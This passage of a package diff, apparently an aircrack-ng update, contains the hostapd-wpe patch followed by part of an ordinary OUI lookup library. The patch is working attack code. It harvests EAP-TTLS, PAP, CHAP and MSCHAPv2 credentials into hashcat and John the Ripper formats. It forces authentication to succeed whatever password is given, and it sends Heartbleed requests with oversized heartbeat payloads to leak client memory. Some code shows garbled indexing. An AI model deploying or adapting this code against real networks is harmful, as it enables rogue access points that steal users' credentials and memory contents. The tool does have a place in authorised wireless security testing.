++			wpabuf_put(wpe_hb_ptr2, wpe_hb_msg_len-1);
++
++			if (wpe_hb_ptr1) {
++				wpe_hb_ptr1 = wpabuf_concat(wpe_hb_ptr1,wpe_hb_ptr2);
++			} else {
++				wpe_hb_ptr1 = wpe_hb_ptr2;
++			}
++		}
++
++		conn->ssl->tlsext_hb_pending = 1;
++		wpe_conf.wpe_hb_num_tries--;
++		return wpe_hb_ptr1;
++	}
++#endif
++
+ 	return out_data;
+ }
+ 
+@@ -4526,6 +4565,13 @@ struct wpabuf * tls_connection_encrypt(v
+ 		tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
+ 		return NULL;
+ 	}
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_appdata) {
++		wpe_hb_enc(conn);
++	}
++#endif
++
+ 	res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
+ 	if (res < 0) {
+ 		tls_show_errors(MSG_INFO, __func__,
+@@ -4533,6 +4579,12 @@ struct wpabuf * tls_connection_encrypt(v
+ 		return NULL;
+ 	}
+ 
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_after_appdata) {
++		wpe_hb_enc(conn);
++	}
++#endif
++
+ 	/* Read encrypted data to be sent to the server */
+ 	buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
+ 	if (buf == NULL)
+@@ -5773,3 +5825,69 @@ bool tls_connection_get_own_cert_used(st
+ 		return SSL_get_certificate(conn->ssl) != NULL;
+ 	return false;
+ }
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++int wpe_hb_enc(struct tls_connection *conn) {
++    unsigned char *cbuf, *p;
++
++    unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */
++    unsigned int padding = 16; //default: 16 /* Use minimum padding */
++
++    if (!SSL_is_init_finished(conn->ssl)) {
++        return -1;
++    }
++
++    if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
++            conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) {
++        wpa_printf(MSG_DEBUG, "WPE warning: heartbeat extension is unsupported (try anyway)\n");
++    } else {
++        wpa_printf(MSG_DEBUG,"WPE Heartbeat extention is supported, may not be vulnerable!\n");
++    }
++
++    /* Check if padding is too long, payload and padding
++    * must not exceed 2^14 - 3 = 16381 bytes in total.
++    */
++    OPENSSL_assert(real_payload + padding <= 16381);
++
++    cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding);
++
++    if(cbuf==NULL)
++        return -1;
++
++    p = cbuf;
++
++    *p++ = TLS1_HB_REQUEST;
++
++
++    /* Payload length (18 bytes here) */
++    //s2n(payload, p);  /* standards compliant payload */
++    //s2n(payload +10, p);  /* >payload to exploit heartbleed!!! */
++    s2n(wpe_conf.wpe_hb_payload_size, p); /* configured payload */
++
++    /* Sequence number */
++    s2n(conn->ssl->tlsext_hb_seq, p);
++    /* 16 random bytes */
++    RAND_pseudo_bytes(p, 16);
++    //RAND_bytes(p, 16);
++    p += 16;
++    /* Random padding */
++    RAND_pseudo_bytes(p, padding);
++    //RAND_bytes(p, padding);
++
++    wpa_printf(MSG_DEBUG, "WPE Sending heartbeat reaquesting payload size %u...\n", wpe_conf.wpe_hb_payload_size);
++    wpa_hexdump(MSG_DEBUG, "WPE heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding);
++
++    /* Send heartbeat request */
++#ifdef TLS1_RT_HEARTBEAT
++    if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT,
++#elif defined(DTLS1_RT_HEARTBEAT)
++    if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, DTLS1_RT_HEARTBEAT,
++#endif
++    cbuf, 3 + real_payload + padding) >= 0)
++    conn->ssl->tlsext_hb_pending = 1;
++    OPENSSL_free(cbuf);
++
++    return 0;
++}
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++
+diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server.c hostapd-2.10-wpe/src/eap_server/eap_server.c
+--- hostapd-2.10/src/eap_server/eap_server.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/eap_server/eap_server.c	2022-02-21 23:29:30.152000000 +0000
+@@ -160,6 +160,8 @@ int eap_user_get(struct eap_sm *sm, cons
+ {
+ 	struct eap_user *user;
+ 
++    char ident = 't';    
++
+ 	if (sm == NULL || sm->eapol_cb == NULL ||
+ 	    sm->eapol_cb->get_eap_user == NULL)
+ 		return -1;
+@@ -171,6 +173,11 @@ int eap_user_get(struct eap_sm *sm, cons
+ 	if (user == NULL)
+ 	    return -1;
+ 
++    if (phase2) {
++        identity = (const u8 *)&ident;
++        identity_len = 1;
++    }
++
+ 	if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+ 				       identity_len, phase2, user) != 0) {
+ 		eap_user_free(user);
+diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_mschapv2.c hostapd-2.10-wpe/src/eap_server/eap_server_mschapv2.c
+--- hostapd-2.10/src/eap_server/eap_server_mschapv2.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/eap_server/eap_server_mschapv2.c	2022-02-21 23:29:30.152000000 +0000
+@@ -12,7 +12,7 @@
+ #include "crypto/ms_funcs.h"
+ #include "crypto/random.h"
+ #include "eap_i.h"
+-
++#include "wpe/wpe.h"
+ 
+ struct eap_mschapv2_hdr {
+ 	u8 op_code; /* MSCHAPV2_OP_* */
+@@ -290,7 +290,7 @@ static void eap_mschapv2_process_respons
+ 	size_t username_len, user_len;
+ 	int res;
+ 	char *buf;
+-
++	u8 wpe_challenge_hash8;
+ 	pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ 			       &len);
+ 	if (pos == NULL || len < 1)
+@@ -371,6 +371,8 @@ static void eap_mschapv2_process_respons
+ 		}
+ 	}
+ #endif /* CONFIG_TESTING_OPTIONS */
++	challenge_hash(peer_challenge, data->auth_challenge, username, username_len, wpe_challenge_hash);
++	wpe_log_chalresp("mschapv2", name, name_len, wpe_challenge_hash, 8, nt_response, 24);
+ 
+ 	if (username_len != user_len ||
+ 	    os_memcmp(username, user, username_len) != 0) {
+@@ -405,6 +407,11 @@ static void eap_mschapv2_process_respons
+ 		return;
+ 	}
+ 
++	if (wpe_conf.wpe_enable_return_success) {
++		os_memset((void *)nt_response, 0, 24);
++		os_memset((void *)expected, 0, 24);
++	}
++
+ 	if (os_memcmp_const(nt_response, expected, 24) == 0) {
+ 		const u8 *pw_hash;
+ 		u8 pw_hash_buf16, pw_hash_hash16;
+@@ -445,6 +452,8 @@ static void eap_mschapv2_process_respons
+ 		wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response");
+ 		data->state = FAILURE_REQ;
+ 	}
++	if (wpe_conf.wpe_enable_return_success)
++		data->state = SUCCESS;
+ }
+ 
+ 
+diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_peap.c hostapd-2.10-wpe/src/eap_server/eap_server_peap.c
+--- hostapd-2.10/src/eap_server/eap_server_peap.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/eap_server/eap_server_peap.c	2022-02-21 23:29:30.152000000 +0000
+@@ -17,7 +17,7 @@
+ #include "eap_common/eap_tlv_common.h"
+ #include "eap_common/eap_peap_common.h"
+ #include "tncs.h"
+-
++#include "wpe/wpe.h"
+ 
+ /* Maximum supported PEAP version
+  * 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt
+diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_ttls.c hostapd-2.10-wpe/src/eap_server/eap_server_ttls.c
+--- hostapd-2.10/src/eap_server/eap_server_ttls.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/eap_server/eap_server_ttls.c	2022-02-21 23:29:30.152000000 +0000
+@@ -16,7 +16,7 @@
+ #include "eap_server/eap_tls_common.h"
+ #include "eap_common/chap.h"
+ #include "eap_common/eap_ttls.h"
+-
++#include "wpe/wpe.h"
+ 
+ #define EAP_TTLS_VERSION 0
+ 
+@@ -538,9 +538,11 @@ static void eap_ttls_process_phase2_pap(
+ 		return;
+ 	}
+ 
+-	if (sm->user->password_len != user_password_len ||
++	wpe_log_basic("eap-ttls/pap", sm->identity, sm->identity_len, user_password, user_password_len);
++
++	if ((!wpe_conf.wpe_enable_return_success) && (sm->user->password_len != user_password_len ||
+ 	    os_memcmp_const(sm->user->password, user_password,
+-			    user_password_len) != 0) {
++			    user_password_len) != 0)) {
+ 		wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password");
+ 		eap_ttls_state(data, FAILURE);
+ 		return;
+@@ -603,8 +605,9 @@ static void eap_ttls_process_phase2_chap
+ 	chap_md5(password0, sm->user->password, sm->user->password_len,
+ 		 challenge, challenge_len, hash);
+ 
+-	if (os_memcmp_const(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) ==
+-	    0) {
++	wpe_log_chalresp("eap-ttls/chap", sm->identity, sm->identity_len, challenge, challenge_len, password, password_len);
++
++	if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0)) {
+ 		wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password");
+ 		eap_ttls_state(data, SUCCESS);
+ 		eap_ttls_valid_session(sm, data);
+@@ -675,7 +678,9 @@ static void eap_ttls_process_phase2_msch
+ 		return;
+ 	}
+ 
+-	if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) {
++	wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24);
++
++	if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(nt_response, response + 2 + 24, 24) == 0)) {
+ 		wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response");
+ 		eap_ttls_state(data, SUCCESS);
+ 		eap_ttls_valid_session(sm, data);
+@@ -697,7 +702,7 @@ static void eap_ttls_process_phase2_msch
+ 					     u8 *response, size_t response_len)
+ {
+ 	u8 *chal, *username, nt_response24, *rx_resp, *peer_challenge,
+-		*auth_challenge;
++		*auth_challenge, wpe_challenge_hash8;
+ 	size_t username_len, i;
+ 
+ 	if (challenge == NULL || response == NULL ||
+@@ -782,6 +787,9 @@ static void eap_ttls_process_phase2_msch
+ 	}
+ 
+ 	rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8;
++
++	challenge_hash(peer_challenge, auth_challenge, username, username_len, wpe_challenge_hash);
++	wpe_log_chalresp("eap-ttls/mschapv2", username, username_len, wpe_challenge_hash, 8, rx_resp, 24);
+ #ifdef CONFIG_TESTING_OPTIONS
+ 	{
+ 		u8 challenge28;
+diff '--color=auto' -rupN hostapd-2.10/src/utils/wpa_debug.c hostapd-2.10-wpe/src/utils/wpa_debug.c
+--- hostapd-2.10/src/utils/wpa_debug.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/utils/wpa_debug.c	2022-02-21 23:29:30.160000000 +0000
+@@ -28,7 +28,7 @@ static FILE *wpa_debug_tracing_file = NU
+ 
+ 
+ int wpa_debug_level = MSG_INFO;
+-int wpa_debug_show_keys = 0;
++int wpa_debug_show_keys = 1; // WPE >:)
+ int wpa_debug_timestamp = 0;
+ int wpa_debug_syslog = 0;
+ #ifndef CONFIG_NO_STDOUT_DEBUG
+diff '--color=auto' -rupN hostapd-2.10/src/wpe/Makefile hostapd-2.10-wpe/src/wpe/Makefile
+--- hostapd-2.10/src/wpe/Makefile	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/src/wpe/Makefile	2022-02-21 23:29:30.160000000 +0000
+@@ -0,0 +1,8 @@
++all:
++	@echo Nothing to be made.
++
++clean:
++	rm -f *~ *.o *.d *.gcno *.gcda *.gcov
++
++install:
++	@echo Nothing to be made.
+diff '--color=auto' -rupN hostapd-2.10/src/wpe/wpe.c hostapd-2.10-wpe/src/wpe/wpe.c
+--- hostapd-2.10/src/wpe/wpe.c	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/src/wpe/wpe.c	2022-02-21 23:29:30.160000000 +0000
+@@ -0,0 +1,232 @@
++/*
++    wpe.c - 
++        brad.antoniewicz@foundstone.com
++        Implements WPE (Wireless Pwnage Edition) functionality within 
++        hostapd.
++
++        WPE functionality focuses on targeting connecting users. At 
++        it's core it implements credential logging (originally 
++        implemented in FreeRADIUS-WPE), but also includes other patches
++        for other client attacks that have been modified to some extend.
++
++            FreeRADIUS-WPE: https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/freeradius-wpe
++            Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
++            Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
++*/
++
++#include <time.h>
++#include <openssl/ssl.h>
++#include "includes.h"
++#include "common.h"
++#include "wpe/wpe.h"
++#include "utils/wpa_debug.h"
++
++#define wpe_logfile_default_location "./hostapd-wpe.log"
++
++
++#define MSCHAPV2_CHAL_HASH_LEN 8
++#define MSCHAPV2_CHAL_LEN 16
++#define MSCHAPV2_RESP_LEN 24
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	char wpe_hb_msg = "\x18\x03\x01\x00\x03\x01\xff\xff";
++	size_t wpe_hb_msg_len = sizeof(wpe_hb_msg)/sizeof(wpe_hb_msg0);
++#endif
++
++struct wpe_config wpe_conf = {
++    .wpe_logfile = wpe_logfile_default_location,
++    .wpe_logfile_fp = NULL,
++    .wpe_enable_karma = 0,
++    .wpe_enable_cupid = 0,
++    .wpe_enable_return_success = 0,
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++    .wpe_hb_send_before_handshake = 1,
++    .wpe_hb_send_before_appdata = 0,
++    .wpe_hb_send_after_appdata = 0,
++    .wpe_hb_payload_size = 50000,
++    .wpe_hb_num_tries = 1,
++    .wpe_hb_num_repeats = 10
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++};
++
++void wpe_log_file_and_stdout(char const *fmt, ...) {
++
++    if ( wpe_conf.wpe_logfile_fp == NULL ) {
++        wpe_conf.wpe_logfile_fp = fopen(wpe_conf.wpe_logfile, "a");
++        if ( wpe_conf.wpe_logfile_fp == NULL ) 
++            printf("WPE: Cannot file log file");
++    }
++
++    va_list ap;
++
++    va_start(ap, fmt);
++    vprintf(fmt, ap);
++    va_end(ap);
++
++    va_start(ap, fmt);
++    if ( wpe_conf.wpe_logfile_fp != NULL )
++        vfprintf(wpe_conf.wpe_logfile_fp, fmt, ap);
++    va_end(ap);
++}
++
++void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len) {
++    time_t nowtime;
++    int x; 
++
++    nowtime = time(NULL);
++
++    wpe_log_file_and_stdout("\n\n%s: %s", type, ctime(&nowtime));
++    wpe_log_file_and_stdout("\t username:\t");
++    for (x=0; x<username_len; x++)
++        wpe_log_file_and_stdout("%c",usernamex);
++    wpe_log_file_and_stdout("\n");
++
++    wpe_log_file_and_stdout("\t challenge:\t");
++    for (x=0; x<challenge_len - 1; x++)
++        wpe_log_file_and_stdout("%02x:",challengex);
++    wpe_log_file_and_stdout("%02x\n",challengex);
++
++    wpe_log_file_and_stdout("\t response:\t");
++    for (x=0; x<response_len - 1; x++)
++        wpe_log_file_and_stdout("%02x:",responsex);
++    wpe_log_file_and_stdout("%02x\n",responsex);
++
++    if (strncmp(type, "mschapv2", 8) == 0 || strncmp(type, "eap-ttls/mschapv2", 17) == 0) {
++        wpe_log_file_and_stdout("\t jtr NETNTLM:\t\t");
++        for (x=0; x<username_len; x++)
++            wpe_log_file_and_stdout("%c",usernamex);
++        wpe_log_file_and_stdout(":$NETNTLM$");
++        for (x=0; x<challenge_len; x++)
++            wpe_log_file_and_stdout("%02x",challengex);
++        wpe_log_file_and_stdout("$");
++        for (x=0; x<response_len; x++)
++            wpe_log_file_and_stdout("%02x",responsex);
++        wpe_log_file_and_stdout("\n");
++
++        wpe_log_file_and_stdout("\t hashcat NETNTLM:\t");
++        for (x=0; x<username_len; x++)
++            wpe_log_file_and_stdout("%c",usernamex);
++        wpe_log_file_and_stdout("::::");
++        for (x=0; x<response_len; x++)
++            wpe_log_file_and_stdout("%02x",responsex);
++        wpe_log_file_and_stdout(":");
++        for (x=0; x<challenge_len; x++)
++            wpe_log_file_and_stdout("%02x",challengex);
++        wpe_log_file_and_stdout("\n");
++
++    }
++}
++
++void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len)  {
++    time_t nowtime;
++    int x;
++
++    nowtime = time(NULL);
++
++    wpe_log_file_and_stdout("\n\n%s: %s",type, ctime(&nowtime));
++    wpe_log_file_and_stdout("\t username:\t");
++    for (x=0; x<username_len; x++)
++        wpe_log_file_and_stdout("%c",usernamex);
++    wpe_log_file_and_stdout("\n");
++
++    wpe_log_file_and_stdout("\t password:\t");
++    for (x=0; x<password_len; x++)
++        wpe_log_file_and_stdout("%c",passwordx);
++    wpe_log_file_and_stdout("\n");
++}
++
++/*
++    Taken from asleap, who took from nmap, who took from tcpdump :) 
++*/
++void wpe_hexdump(unsigned char *bp, unsigned int length)
++{
++
++    /* stolen from tcpdump, then kludged extensively */
++
++    static const char asciify =
++        "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
++
++    const unsigned short *sp;
++    const unsigned char *ap;
++    unsigned int i, j;
++    int nshorts, nshorts2;
++    int padding;
++
++    wpe_log_file_and_stdout("\n\t");
++    padding = 0;
++    sp = (unsigned short *)bp;
++    ap = (unsigned char *)bp;
++    nshorts = (unsigned int)length / sizeof(unsigned short);
++    nshorts2 = (unsigned int)length / sizeof(unsigned short);
++    i = 0;
++    j = 0;
++    while (1) {
++        while (--nshorts >= 0) {
++            wpe_log_file_and_stdout(" %04x", ntohs(*sp));
++            sp++;
++            if ((++i % 8) == 0)
++                break;
++        }
++        if (nshorts < 0) {
++            if ((length & 1) && (((i - 1) % 8) != 0)) {
++                wpe_log_file_and_stdout(" %02x  ", *(unsigned char *)sp);
++                padding++;
++            }
++            nshorts = (8 - (nshorts2 - nshorts));
++            while (--nshorts >= 0) {
++                wpe_log_file_and_stdout("     ");
++            }
++            if (!padding)
++                wpe_log_file_and_stdout("     ");
++        }
++        wpe_log_file_and_stdout("  ");
++
++        while (--nshorts2 >= 0) {
++            wpe_log_file_and_stdout("%c%c", asciify*ap, asciify*(ap + 1));
++            ap += 2;
++            if ((++j % 8) == 0) {
++                wpe_log_file_and_stdout("\n\t");
++                break;
++            }
++        }
++        if (nshorts2 < 0) {
++            if ((length & 1) && (((j - 1) % 8) != 0)) {
++                wpe_log_file_and_stdout("%c", asciify*ap);
++            }
++            break;
++        }
++    }
++    if ((length & 1) && (((i - 1) % 8) == 0)) {
++        wpe_log_file_and_stdout(" %02x", *(unsigned char *)sp);
++        wpe_log_file_and_stdout("                                       %c",
++               asciify*ap);
++    }
++    wpe_log_file_and_stdout("\n");
++}
++
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++/* https://github.com/openssl/openssl/issues/2122 */
++
++void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg) {
++#ifdef TLS1_RT_HEARTBEAT
++    if (v_content_type == TLS1_RT_HEARTBEAT) {
++#elif defined(DTLS1_RT_HEARTBEAT)
++    if (v_content_type == DTLS1_RT_HEARTBEAT) {
++#endif
++        wpe_log_file_and_stdout("\n\nHeartbleed Data:\n");
++        v_ssl->tlsext_hb_pending = 1;
++        wpe_hexdump((unsigned char *)v_buf, v_len);
++    } 
++}
++
++
++char *wpe_hb_clear() {
++    char *p;
++    // set payload size
++    p = &wpe_hb_msgsizeof(wpe_hb_msg) - 3;
++    s2n(wpe_conf.wpe_hb_payload_size, p);
++
++    return wpe_hb_msg;
++}
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
+diff '--color=auto' -rupN hostapd-2.10/src/wpe/wpe.h hostapd-2.10-wpe/src/wpe/wpe.h
+--- hostapd-2.10/src/wpe/wpe.h	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/src/wpe/wpe.h	2022-02-21 23:29:30.160000000 +0000
+@@ -0,0 +1,54 @@
++/*
++    wpe.h - 
++        brad.antoniewicz@foundstone.com
++        Implements WPE (Wireless Pwnage Edition) functionality within 
++        hostapd.
++
++        WPE functionality focuses on targeting connecting users. At 
++        it's core it implements credential logging (originally 
++        implemented in FreeRADIUS-WPE), but also includes other patches
++        for other client attacks.
++
++            FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe
++            Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
++            Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
++*/
++#include <openssl/ssl.h>
++
++struct wpe_config {
++    char *wpe_logfile;
++    FILE *wpe_logfile_fp;
++    unsigned int wpe_enable_karma;
++    unsigned int wpe_enable_cupid;
++    unsigned int wpe_enable_return_success;
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++    unsigned int wpe_hb_send_before_handshake:1;
++    unsigned int wpe_hb_send_before_appdata:1;
++    unsigned int wpe_hb_send_after_appdata:1;
++    unsigned int wpe_hb_payload_size;
++    unsigned int wpe_hb_num_tries;
++    unsigned int wpe_hb_num_repeats;
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++};
++
++extern struct wpe_config wpe_conf;
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	extern char wpe_hb_msg;
++	extern size_t wpe_hb_msg_len;
++
++	//#define WPE_HB_MSG_LEN 8
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++
++#define n2s(c,s)((s=(((unsigned int)(c0))<< 8)| \
++       (((unsigned int)(c1))    )),c+=2)
++
++#define s2n(s,c) ((c0=(unsigned char)(((s)>> 8)&0xff), \
++        c1=(unsigned char)(((s)    )&0xff)),c+=2)
++
++
++void wpe_log_file_and_stdout(char const *fmt, ...);
++void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len);
++void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len);
++void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg);
++char *wpe_hb_clear();

aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/Makefile.am -> aircrack-ng-1.7.tar.gz/scripts/airgraph-ng/Makefile.am Changed

aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/airgraph-ng -> aircrack-ng-1.7.tar.gz/scripts/airgraph-ng/airgraph-ng Changed

aircrack-ng-1.7.tar.gz/scripts/airgraph-ng/airgraphviz Added

aircrack-ng-1.7.tar.gz/scripts/airgraph-ng/airgraphviz/__init__.py Changed

aircrack-ng-1.7.tar.gz/scripts/airgraph-ng/airgraphviz/libDumpParse.py Changed

aircrack-ng-1.7.tar.gz/scripts/airgraph-ng/airgraphviz/libOuiParse.py Added

@@ -0,0 +1,232 @@
+#!/usr/bin/env python
+__author__ = 'Ben "TheX1le" Smith, Marfi'
+__email__ = 'thex1le@gmail.com'
+__website__= ''
+__date__ = '04/26/2011'
+__version__ = '2011.4.26'
+__file__ = 'ouiParse.py'
+__data__ = 'a class for dealing with the oui txt file'
+
+"""
+########################################
+#
+# This program and its support programs are free software; you can redistribute it and/or modify it
+# under the terms of the GNU General Public License version 2 as
+# published by the Free Software Foundation; version 2.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+#########################################
+"""
+
+import re
+import sys
+if sys.version_info0 >= 3:
+	import requests
+else:
+	import urllib
+import os
+import pdb
+#this lib is crap and needs to be rewritten -Textile 
+
+if os.getenv('AIRGRAPH_HOME') is not None and os.path.isdir(os.getenv('AIRGRAPH_HOME')):
+    path=os.getenv('AIRGRAPH_HOME') + '/support/'
+    if not os.path.isdir(path):
+        try:
+            os.mkdir(path)
+        except:
+            raise Exception("Can't create destination directory (%s)!" % path)
+elif os.path.isdir('./support/'):
+    path='./support/'
+elif os.path.isdir('/usr/local/share/airgraph-ng/'):
+    path='/usr/local/share/airgraph-ng/'
+elif os.path.isdir('/usr/share/airgraph-ng/'):
+    path='/usr/share/airgraph-ng/'
+else:
+    raise Exception("Could not determine path, please, check your installation or set AIRGRAPH_HOME environment variable")
+
+class macOUI_lookup:
+    """
+    A class for deaing with OUIs and deterimining device type
+    """
+    def __init__(self, oui=False):
+        """
+        generate the two dictionaries and return them
+        """
+        #a poor fix where if we have no file it trys to download it
+        self.ouiTxtUrl   = "http://standards-oui.ieee.org/oui.txt"
+
+        self.ouiTxt = oui
+        if not oui or not os.path.isfile(self.ouiTxt):
+            self.ouiUpdate()
+            self.ouiTxt = path + "oui.txt"
+        self.last_error = None
+        self.identDeviceDict(path + 'ouiDevice.txt')
+        self.identDeviceDictWhacMac(path + 'whatcDB.csv')
+        self.ouiRaw      = self.ouiOpen(self.ouiTxt)
+        self.oui_company = self.ouiParse()  #dict where oui's are the keys to company names
+        self.company_oui = self.companyParse()  #dict where company name is the key to oui's
+
+    def compKeyChk(self,name):
+        """
+        check for valid company name key
+        """
+        compMatch = re.compile(name,re.I)
+        if name in self.company_oui:
+            return True
+        for key in list(self.company_oui.keys()):
+                if compMatch.search(key) is not None:   
+                    return True
+        return False
+
+    def ouiKeyChk(self,name):
+        """
+        check for a valid oui prefix
+        """
+
+        if name in self.oui_company: 
+            return True
+        else: 
+            return False
+
+    def lookup_OUI(self,mac):
+        """
+        Lookup a oui and return the company name
+        """
+        if self.ouiKeyChk(mac) is not False:
+            return self.oui_companymac
+        else:
+            return False
+
+    def lookup_company(self,companyLst):
+        """
+        look up a company name and return their OUI's
+        """
+        oui = 
+        if type(companyLst) is list:
+            for name in companyLst:
+                compMatch = re.compile(name,re.I)
+                if name in self.company_oui:
+                    oui.extend(self.company_ouiname)
+                else:
+                    for key in self.company_oui:
+                        if compMatch.search(key) is not None:
+                            oui.extend(self.company_ouikey)
+
+        elif type(companyLst) is str:
+            if companyLst in self.company_oui:
+                oui = self.company_ouicompanyLst
+            else:
+
+                compMatch = re.compile(companyLst,re.I)
+                for key in self.company_oui:
+                    if compMatch.search(key) is not None:
+                        oui.extend(self.company_ouikey) #return the oui for that key
+        return oui
+
+    def ouiOpen(self,fname,flag='R'):
+        """
+        open the file and read it in
+        flag denotes use of read or readlines
+        """
+        try:
+            with open(fname, "r") as fid:
+                if flag == 'RL':
+                    text = fid.readlines()
+                elif flag == 'R':
+                    text = fid.read()
+            return text
+        except IOError:
+            return False
+
+
+    def ouiParse(self):
+        """
+        generate a oui to company lookup dict
+        """
+        HexOui= {}
+        Hex = re.compile('.*(hex).*')
+        #matches the following example "00-00-00   (hex)\t\tXEROX CORPORATION" 
+        ouiLines = self.ouiRaw.split("\n") 
+        #split each company into a list one company per position
+        for line in ouiLines:
+            if Hex.search(line) is not None: 
+                lineList = Hex.search(line).group().replace("\t"," ").split("  ") 
+                #return the matched text and build a list out of it
+                HexOuilineList0.replace("-",":") = lineList2.strip()
+                #build a dict in the format of mac:company name 
+        return HexOui
+
+    def companyParse(self):
+        """
+        generate a company to oui lookup dict
+        """
+        company_oui = {}
+        for oui in self.oui_company:
+            if self.oui_companyoui in company_oui:
+                company_ouiself.oui_companyoui.append(oui)
+            else:
+                company_ouiself.oui_companyoui = oui
+        return company_oui
+
+    def ouiUpdate(self):
+        """
+        Grab the oui txt file off the ieee.org website
+        """
+        try:
+            print(("Getting OUI file from %s to %s" %(self.ouiTxtUrl, path)))
+            if sys.version_info0 == 2:
+                urllib.request.urlretrieve(self.ouiTxtUrl, path + "oui.txt")
+            else:
+                response = requests.get(self.ouiTxtUrl)
+                with open(path + "oui.txt", "wb") as file:
+                    bytes_written = file.write(response.content)
+            print("Completed Successfully")
+        except Exception as error:
+            print(("Could not download file:\n %s\n Exiting airgraph-ng" %(error)))
+            sys.exit(0)
+
+    def identDeviceDict(self,fname):
+        """
+        Create two dicts allowing device type lookup
+        one for oui to device and one from device to OUI group
+        """
+        self.ouitodevice = {}
+        self.devicetooui = {}
+        data = self.ouiOpen(fname,'RL')
+        if data == False:
+            self.last_error = "Unable to open lookup file for parsing"
+            return False
+        for line in data:
+            dat = line.strip().split(',')
+            self.ouitodevicedat1 = dat0
+            if dat0 in list(self.devicetooui.keys()):
+                self.devicetoouidat0.append(dat1)
+            else:
+                self.devicetoouidat0 = dat1
+
+    def identDeviceDictWhacMac(self,fname):
+        """
+        Create two dicts allowing device type lookup from whatmac DB
+        one for oui to device and one from the device to OUI group
+        """
+        self.ouitodeviceWhatmac3 = {}
+        self.ouitodeviceWhatmac = {}
+        self.devicetoouiWhacmac = {}
+        data = self.ouiOpen(fname,'RL')
+        if data == False:
+            self.last_error = "Unble to open lookup file for parsing"
+            return False
+        for line in data:
+            dat = line.strip().split(',')
+            dat0 = dat0.upper()
+            self.ouitodeviceWhatmacdat0 = dat1
